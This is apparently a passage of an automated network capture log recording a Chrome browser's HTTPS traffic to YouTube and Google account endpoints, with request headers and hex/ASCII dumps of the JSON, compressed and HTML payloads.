2024-01-17 23:35:05 UTC	1471	OUT	POST /youtubei/v1/guide?key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8&prettyPrint=false HTTP/1.1 Host: www.youtube.com Connection: keep-alive Content-Length: 2395 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-Goog-EOM-Visitor-Id: CgtiU1BPUHlZdVg5ZyiLyKGtBjIKCgJERRIEEgAgRQ%3D%3D sec-ch-ua-arch: "x86" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" X-Youtube-Bootstrap-Logged-In: false sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json sec-ch-ua-full-version: "117.0.5938.134" X-Youtube-Client-Name: 1 X-Youtube-Client-Version: 2.20240117.00.00 Accept: / Origin: https://www.youtube.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D; PREF=tz=Europe.Zurich; YSC=5Mm10cZ-erg
2024-01-17 23:35:05 UTC	2395	OUT	Data Raw: 7b 22 63 6f 6e 74 65 78 74 22 3a 7b 22 63 6c 69 65 6e 74 22 3a 7b 22 68 6c 22 3a 22 65 6e 22 2c 22 67 6c 22 3a 22 43 41 22 2c 22 72 65 6d 6f 74 65 48 6f 73 74 22 3a 22 31 35 34 2e 31 36 2e 31 39 32 2e 31 39 33 22 2c 22 64 65 76 69 63 65 4d 61 6b 65 22 3a 22 22 2c 22 64 65 76 69 63 65 4d 6f 64 65 6c 22 3a 22 22 2c 22 76 69 73 69 74 6f 72 44 61 74 61 22 3a 22 43 67 74 69 55 31 42 50 55 48 6c 5a 64 56 67 35 5a 79 69 4c 79 4b 47 74 42 6a 49 4b 43 67 4a 45 52 52 49 45 45 67 41 67 52 51 25 33 44 25 33 44 22 2c 22 75 73 65 72 41 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b Data Ascii: {"context":{"client":{"hl":"en","gl":"CA","remoteHost":"154.16.192.193","deviceMake":"","deviceModel":"","visitorData":"CgtiU1BPUHlZdVg5ZyiLyKGtBjIKCgJERRIEEgAgRQ%3D%3D","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
2024-01-17 23:35:05 UTC	432	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Vary: X-Origin Vary: Referer Date: Wed, 17 Jan 2024 23:35:05 GMT Server: scaffolding on HTTPServer2 Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Origin,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:05 UTC	820	IN	Data Raw: 34 38 61 65 0d 0a 7b 22 72 65 73 70 6f 6e 73 65 43 6f 6e 74 65 78 74 22 3a 7b 22 73 65 72 76 69 63 65 54 72 61 63 6b 69 6e 67 50 61 72 61 6d 73 22 3a 5b 7b 22 73 65 72 76 69 63 65 22 3a 22 43 53 49 22 2c 22 70 61 72 61 6d 73 22 3a 5b 7b 22 6b 65 79 22 3a 22 63 22 2c 22 76 61 6c 75 65 22 3a 22 57 45 42 22 7d 2c 7b 22 6b 65 79 22 3a 22 63 76 65 72 22 2c 22 76 61 6c 75 65 22 3a 22 32 2e 32 30 32 34 30 31 31 37 2e 30 30 2e 30 30 22 7d 2c 7b 22 6b 65 79 22 3a 22 79 74 5f 6c 69 22 2c 22 76 61 6c 75 65 22 3a 22 30 22 7d 2c 7b 22 6b 65 79 22 3a 22 47 65 74 57 65 62 4d 61 69 6e 41 70 70 47 75 69 64 65 5f 72 69 64 22 2c 22 76 61 6c 75 65 22 3a 22 30 78 62 62 39 62 30 63 64 32 36 30 38 33 63 33 30 32 22 7d 5d 7d 2c 7b 22 73 65 72 76 69 63 65 22 3a 22 47 46 45 45 44 Data Ascii: 48ae{"responseContext":{"serviceTrackingParams":[{"service":"CSI","params":[{"key":"c","value":"WEB"},{"key":"cver","value":"2.20240117.00.00"},{"key":"yt_li","value":"0"},{"key":"GetWebMainAppGuide_rid","value":"0xbb9b0cd26083c302"}]},{"service":"GFEED
2024-01-17 23:35:05 UTC	1252	IN	Data Raw: 35 32 38 35 35 32 2c 32 34 35 32 38 35 35 35 2c 32 34 35 32 38 35 37 37 2c 32 34 35 32 38 35 38 30 2c 32 34 35 32 38 36 34 30 2c 32 34 35 32 38 36 35 31 2c 32 34 35 32 38 36 36 31 2c 32 34 35 32 38 36 36 36 2c 32 34 35 33 37 32 30 30 2c 32 34 35 33 39 30 32 35 2c 32 34 35 34 32 33 36 37 2c 32 34 35 34 32 34 35 32 2c 32 34 35 34 36 30 36 30 2c 32 34 35 34 36 30 37 35 2c 32 34 35 34 38 36 32 37 2c 32 34 35 34 38 36 32 39 2c 32 34 35 34 39 37 38 36 2c 32 34 35 35 30 34 35 38 2c 32 34 35 35 39 33 32 37 2c 32 34 35 36 30 34 31 36 2c 32 34 35 36 36 36 38 37 2c 32 34 36 39 34 38 34 32 2c 32 34 36 39 37 30 36 37 2c 32 34 36 39 38 34 35 33 2c 32 34 36 39 39 38 39 39 2c 35 31 30 30 30 30 31 33 2c 35 31 30 30 33 36 33 36 2c 35 31 30 30 34 30 31 38 2c 35 31 30 30 36 Data Ascii: 528552,24528555,24528577,24528580,24528640,24528651,24528661,24528666,24537200,24539025,24542367,24542452,24546060,24546075,24548627,24548629,24549786,24550458,24559327,24560416,24566687,24694842,24697067,24698453,24699899,51000013,51003636,51004018,51006
2024-01-17 23:35:05 UTC	1252	IN	Data Raw: 39 34 32 30 39 2c 35 31 30 39 34 34 35 34 2c 35 31 30 39 34 37 37 34 2c 35 31 30 39 34 38 39 30 2c 35 31 30 39 35 32 37 33 2c 35 31 30 39 36 34 33 32 2c 35 31 30 39 36 36 34 37 2c 35 31 30 39 38 31 38 34 2c 35 31 30 39 38 32 39 37 2c 35 31 30 39 38 32 39 39 22 7d 5d 7d 2c 7b 22 73 65 72 76 69 63 65 22 3a 22 47 55 49 44 45 44 5f 48 45 4c 50 22 2c 22 70 61 72 61 6d 73 22 3a 5b 7b 22 6b 65 79 22 3a 22 6c 6f 67 67 65 64 5f 69 6e 22 2c 22 76 61 6c 75 65 22 3a 22 30 22 7d 5d 7d 2c 7b 22 73 65 72 76 69 63 65 22 3a 22 45 43 41 54 43 48 45 52 22 2c 22 70 61 72 61 6d 73 22 3a 5b 7b 22 6b 65 79 22 3a 22 63 6c 69 65 6e 74 2e 76 65 72 73 69 6f 6e 22 2c 22 76 61 6c 75 65 22 3a 22 32 2e 32 30 32 34 30 31 31 37 22 7d 2c 7b 22 6b 65 79 22 3a 22 63 6c 69 65 6e 74 2e 6e 61 Data Ascii: 94209,51094454,51094774,51094890,51095273,51096432,51096647,51098184,51098297,51098299"}]},{"service":"GUIDED_HELP","params":[{"key":"logged_in","value":"0"}]},{"service":"ECATCHER","params":[{"key":"client.version","value":"2.20240117"},{"key":"client.na
2024-01-17 23:35:05 UTC	1252	IN	Data Raw: 39 30 38 38 38 2c 35 31 30 37 32 34 36 30 2c 32 34 31 33 35 33 31 30 2c 32 34 30 38 30 37 33 38 2c 35 31 30 35 37 38 35 37 2c 32 34 33 37 37 35 39 38 2c 35 31 30 33 37 38 31 39 2c 35 31 30 39 36 36 34 37 2c 35 31 30 32 38 32 37 31 2c 32 34 35 34 38 36 32 37 2c 32 34 35 34 36 30 36 30 2c 35 31 30 34 39 30 30 36 2c 32 34 35 32 38 35 35 32 2c 35 31 30 37 32 37 34 38 2c 35 31 30 38 30 31 38 32 2c 35 31 30 30 34 30 31 38 2c 35 31 30 39 31 33 36 33 2c 35 31 30 37 34 37 31 37 2c 32 34 35 32 36 38 30 34 2c 35 31 30 33 30 31 30 33 2c 35 31 30 39 32 34 33 33 2c 32 33 39 38 36 30 33 32 2c 35 31 30 33 39 32 30 30 2c 32 34 31 38 37 38 35 35 2c 35 31 30 38 39 38 34 35 2c 32 34 35 32 38 36 36 36 2c 32 34 35 32 36 37 39 37 2c 32 34 35 36 36 36 38 37 2c 35 31 30 30 30 30 Data Ascii: 90888,51072460,24135310,24080738,51057857,24377598,51037819,51096647,51028271,24548627,24546060,51049006,24528552,51072748,51080182,51004018,51091363,51074717,24526804,51030103,51092433,23986032,51039200,24187855,51089845,24528666,24526797,24566687,510000
2024-01-17 23:35:05 UTC	1252	IN	Data Raw: 4e 59 41 48 63 71 4b 43 64 59 3d 22 2c 22 63 6f 6d 6d 61 6e 64 4d 65 74 61 64 61 74 61 22 3a 7b 22 77 65 62 43 6f 6d 6d 61 6e 64 4d 65 74 61 64 61 74 61 22 3a 7b 22 75 72 6c 22 3a 22 2f 22 2c 22 77 65 62 50 61 67 65 54 79 70 65 22 3a 22 57 45 42 5f 50 41 47 45 5f 54 59 50 45 5f 42 52 4f 57 53 45 22 2c 22 72 6f 6f 74 56 65 22 3a 33 38 35 34 2c 22 61 70 69 55 72 6c 22 3a 22 2f 79 6f 75 74 75 62 65 69 2f 76 31 2f 62 72 6f 77 73 65 22 7d 7d 2c 22 62 72 6f 77 73 65 45 6e 64 70 6f 69 6e 74 22 3a 7b 22 62 72 6f 77 73 65 49 64 22 3a 22 46 45 77 68 61 74 5f 74 6f 5f 77 61 74 63 68 22 7d 7d 2c 22 69 63 6f 6e 22 3a 7b 22 69 63 6f 6e 54 79 70 65 22 3a 22 57 48 41 54 5f 54 4f 5f 57 41 54 43 48 22 7d 2c 22 74 72 61 63 6b 69 6e 67 50 61 72 61 6d 73 22 3a 22 43 42 38 51 Data Ascii: NYAHcqKCdY=","commandMetadata":{"webCommandMetadata":{"url":"/","webPageType":"WEB_PAGE_TYPE_BROWSE","rootVe":3854,"apiUrl":"/youtubei/v1/browse"}},"browseEndpoint":{"browseId":"FEwhat_to_watch"}},"icon":{"iconType":"WHAT_TO_WATCH"},"trackingParams":"CB8Q
2024-01-17 23:35:05 UTC	1252	IN	Data Raw: 61 22 3a 22 43 67 49 49 44 41 25 33 44 25 33 44 22 7d 2c 22 71 6f 65 4c 6f 67 67 69 6e 67 43 6f 6e 74 65 78 74 22 3a 7b 22 73 65 72 69 61 6c 69 7a 65 64 43 6f 6e 74 65 78 74 44 61 74 61 22 3a 22 43 67 49 49 44 41 25 33 44 25 33 44 22 7d 7d 2c 22 75 73 74 72 65 61 6d 65 72 43 6f 6e 66 69 67 22 3a 22 43 41 77 3d 22 7d 7d 2c 22 69 73 50 72 69 6d 61 72 79 22 3a 74 72 75 65 7d 7d 2c 7b 22 67 75 69 64 65 45 6e 74 72 79 52 65 6e 64 65 72 65 72 22 3a 7b 22 6e 61 76 69 67 61 74 69 6f 6e 45 6e 64 70 6f 69 6e 74 22 3a 7b 22 63 6c 69 63 6b 54 72 61 63 6b 69 6e 67 50 61 72 61 6d 73 22 3a 22 43 42 77 51 38 71 67 48 47 41 49 69 45 77 69 4e 31 59 43 54 79 2d 57 44 41 78 55 6c 41 4e 59 41 48 63 71 4b 43 64 59 3d 22 2c 22 63 6f 6d 6d 61 6e 64 4d 65 74 61 64 61 74 61 22 3a Data Ascii: a":"CgIIDA%3D%3D"},"qoeLoggingContext":{"serializedContextData":"CgIIDA%3D%3D"}},"ustreamerConfig":"CAw="}},"isPrimary":true}},{"guideEntryRenderer":{"navigationEndpoint":{"clickTrackingParams":"CBwQ8qgHGAIiEwiN1YCTy-WDAxUlANYAHcqKCdY=","commandMetadata":
2024-01-17 23:35:05 UTC	1252	IN	Data Raw: 79 44 61 74 61 22 3a 7b 22 6c 61 62 65 6c 22 3a 22 59 6f 75 22 7d 7d 2c 22 74 61 72 67 65 74 49 64 22 3a 22 6c 69 62 72 61 72 79 2d 67 75 69 64 65 2d 69 74 65 6d 22 2c 22 69 73 50 72 69 6d 61 72 79 22 3a 74 72 75 65 7d 7d 2c 7b 22 67 75 69 64 65 45 6e 74 72 79 52 65 6e 64 65 72 65 72 22 3a 7b 22 6e 61 76 69 67 61 74 69 6f 6e 45 6e 64 70 6f 69 6e 74 22 3a 7b 22 63 6c 69 63 6b 54 72 61 63 6b 69 6e 67 50 61 72 61 6d 73 22 3a 22 43 42 6b 51 35 4b 67 48 47 41 45 69 45 77 69 4e 31 59 43 54 79 2d 57 44 41 78 55 6c 41 4e 59 41 48 63 71 4b 43 64 59 3d 22 2c 22 63 6f 6d 6d 61 6e 64 4d 65 74 61 64 61 74 61 22 3a 7b 22 77 65 62 43 6f 6d 6d 61 6e 64 4d 65 74 61 64 61 74 61 22 3a 7b 22 75 72 6c 22 3a 22 2f 66 65 65 64 2f 68 69 73 74 6f 72 79 22 2c 22 77 65 62 50 61 67 Data Ascii: yData":{"label":"You"}},"targetId":"library-guide-item","isPrimary":true}},{"guideEntryRenderer":{"navigationEndpoint":{"clickTrackingParams":"CBkQ5KgHGAEiEwiN1YCTy-WDAxUlANYAHcqKCdY=","commandMetadata":{"webCommandMetadata":{"url":"/feed/history","webPag
2024-01-17 23:35:05 UTC	1252	IN	Data Raw: 67 6e 69 6e 25 33 44 74 72 75 65 25 32 36 61 70 70 25 33 44 64 65 73 6b 74 6f 70 25 32 36 68 6c 25 33 44 65 6e 25 32 36 6e 65 78 74 25 33 44 68 74 74 70 73 25 32 35 33 41 25 32 35 32 46 25 32 35 32 46 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 25 32 35 32 46 26 68 6c 3d 65 6e 22 2c 22 77 65 62 50 61 67 65 54 79 70 65 22 3a 22 57 45 42 5f 50 41 47 45 5f 54 59 50 45 5f 55 4e 4b 4e 4f 57 4e 22 2c 22 72 6f 6f 74 56 65 22 3a 38 33 37 36 39 7d 7d 2c 22 73 69 67 6e 49 6e 45 6e 64 70 6f 69 6e 74 22 3a 7b 22 68 61 63 6b 22 3a 74 72 75 65 7d 7d 2c 22 74 72 61 63 6b 69 6e 67 50 61 72 61 6d 73 22 3a 22 43 42 63 51 30 34 41 45 49 68 4d 49 6a 64 57 41 6b 38 76 6c 67 77 4d 56 4a 51 44 57 41 42 33 4b 69 67 6e 57 22 7d 7d 7d 7d 2c 7b 22 67 75 69 64 65 53 65 63 74 69 6f Data Ascii: gnin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252F&hl=en","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"hack":true}},"trackingParams":"CBcQ04AEIhMIjdWAk8vlgwMVJQDWAB3KignW"}}}},{"guideSectio
2024-01-17 23:35:05 UTC	1252	IN	Data Raw: 74 65 64 54 69 74 6c 65 22 3a 7b 22 73 69 6d 70 6c 65 54 65 78 74 22 3a 22 4d 75 73 69 63 22 7d 2c 22 61 63 63 65 73 73 69 62 69 6c 69 74 79 22 3a 7b 22 61 63 63 65 73 73 69 62 69 6c 69 74 79 44 61 74 61 22 3a 7b 22 6c 61 62 65 6c 22 3a 22 4d 75 73 69 63 22 7d 7d 7d 7d 2c 7b 22 67 75 69 64 65 45 6e 74 72 79 52 65 6e 64 65 72 65 72 22 3a 7b 22 6e 61 76 69 67 61 74 69 6f 6e 45 6e 64 70 6f 69 6e 74 22 3a 7b 22 63 6c 69 63 6b 54 72 61 63 6b 69 6e 67 50 61 72 61 6d 73 22 3a 22 43 42 51 51 6e 4f 51 44 47 41 49 69 45 77 69 4e 31 59 43 54 79 2d 57 44 41 78 55 6c 41 4e 59 41 48 63 71 4b 43 64 59 3d 22 2c 22 63 6f 6d 6d 61 6e 64 4d 65 74 61 64 61 74 61 22 3a 7b 22 77 65 62 43 6f 6d 6d 61 6e 64 4d 65 74 61 64 61 74 61 22 3a 7b 22 75 72 6c 22 3a 22 2f 66 65 65 64 2f Data Ascii: tedTitle":{"simpleText":"Music"},"accessibility":{"accessibilityData":{"label":"Music"}}}},{"guideEntryRenderer":{"navigationEndpoint":{"clickTrackingParams":"CBQQnOQDGAIiEwiN1YCTy-WDAxUlANYAHcqKCdY=","commandMetadata":{"webCommandMetadata":{"url":"/feed/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49933	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:05 UTC	1966	OUT	POST /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1 Host: www.youtube.com Connection: keep-alive Content-Length: 2484 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Encoding: gzip X-Goog-EOM-Visitor-Id: CgtiU1BPUHlZdVg5ZyiLyKGtBjIKCgJERRIEEgAgRQ%3D%3D X-YouTube-Device: cbr=Chrome&cbrver=117.0.0.0&ceng=WebKit&cengver=537.36&cos=Windows&cosver=10.0&cplatform=DESKTOP X-YouTube-Page-Label: youtube.desktop.web_20240117_00_RC00 sec-ch-ua-arch: "x86" X-Goog-Request-Time: 1705534504169 X-YouTube-Page-CL: 599059868 sec-ch-ua-platform-version: "10.0.0" X-YouTube-Utc-Offset: 60 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" X-YouTube-Time-Zone: Europe/Zurich sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json sec-ch-ua-full-version: "117.0.5938.134" X-YouTube-Client-Name: 1 X-YouTube-Client-Version: 2.20240117.00.00 X-YouTube-Ad-Signals: dt=1705534498891&flash=0&frm&u_tz=60&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&bc=31&bih=907&biw=1264&brdim=0%2C0%2C0%2C0%2C1280%2C0%2C0%2C0%2C1280%2C907&vis=2&wgl=true&ca_type=image Accept: / Origin: https://www.youtube.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D; PREF=tz=Europe.Zurich; YSC=5Mm10cZ-erg
2024-01-17 23:35:05 UTC	2484	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e5 5a eb 6f 9b c8 16 ff 57 22 4b 57 da 95 9a 14 cc cb 74 b5 1f 30 4c 6c 62 1b 3b 80 5f b9 5a a1 31 8c 6d 12 0c 98 87 63 a7 ea ff be 33 60 27 a9 9b 62 d2 52 ab 57 b7 e9 07 3c 9c 99 f3 3b af 99 73 ce f0 b9 66 07 7e 82 b6 49 ed d3 e7 9a ed b9 c8 cf 9e 96 5e ed 53 0d f9 b5 0f b5 05 79 92 25 fc 94 bf d5 e0 0a d5 3e d1 87 9f 23 14 c5 6e e0 63 9a fa 55 9d aa b3 14 4d 0b 57 14 85 ff 93 19 81 3f 77 17 aa 3f 0f c8 9a 30 0c 55 3f 4e a0 e7 29 30 81 64 55 75 a3 06 90 6a 81 fe 38 88 a5 e1 6d 94 98 97 60 a9 98 2c 6c 5c 83 41 7f 49 c6 c4 75 fa d8 d4 15 e1 21 92 ae 41 67 c7 44 8f c3 5b 17 b9 29 1e 83 ab 2e 1e bb 89 1e c9 d8 7a 8e 36 4d 5d 46 01 19 eb f1 5d 6b ab de ae 6f d6 64 ee 84 cf d6 5b f9 19 0f 38 c6 63 b2 ba 14 30 9d e6 df 90 b9 9b c1 Data Ascii: ZoW"KWt0Llb;_Z1mc3`'bRW<;sf~I^Sy%>#ncUMW?w?0U?N)0dUuj8m`,l\AIu!AgD[).z6M]F]kod[8c0
2024-01-17 23:35:05 UTC	432	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Vary: X-Origin Vary: Referer Date: Wed, 17 Jan 2024 23:35:05 GMT Server: scaffolding on HTTPServer2 Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Origin,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:05 UTC	34	IN	Data Raw: 31 63 0d 0a 7b 0a 20 20 22 72 65 73 70 6f 6e 73 65 43 6f 6e 74 65 78 74 22 3a 20 7b 7d 0a 7d 0a 0d 0a Data Ascii: 1c{ "responseContext": {}}
2024-01-17 23:35:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49939	142.251.35.174	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:06 UTC	1236	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=941241983&timestamp=1705534504688 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: YSC=5Mm10cZ-erg
2024-01-17 23:35:06 UTC	1682	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: script-src 'report-sample' 'nonce-ngM-vHPeK35PetNUB5cFzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:06 GMT Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:06 UTC	1682	IN	Data Raw: 37 36 36 61 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 6e 67 4d 2d 76 48 50 65 4b 33 35 50 65 74 4e 55 42 35 63 46 7a 51 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 22 75 6e 64 65 Data Ascii: 766a<html><head><script nonce="ngM-vHPeK35PetNUB5cFzQ">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){("unde
2024-01-17 23:35:06 UTC	1682	IN	Data Raw: 61 29 7b 69 66 28 66 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 22 37 2e 30 22 3d 3d 63 5b 31 5d 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 22 3a 61 3d 22 31 30 2e 30 22 3b 62 72 65 61 6b 3b 63 61 Data Ascii: a){if(fa())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),"7.0"==c[1])if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0":a="10.0";break;ca
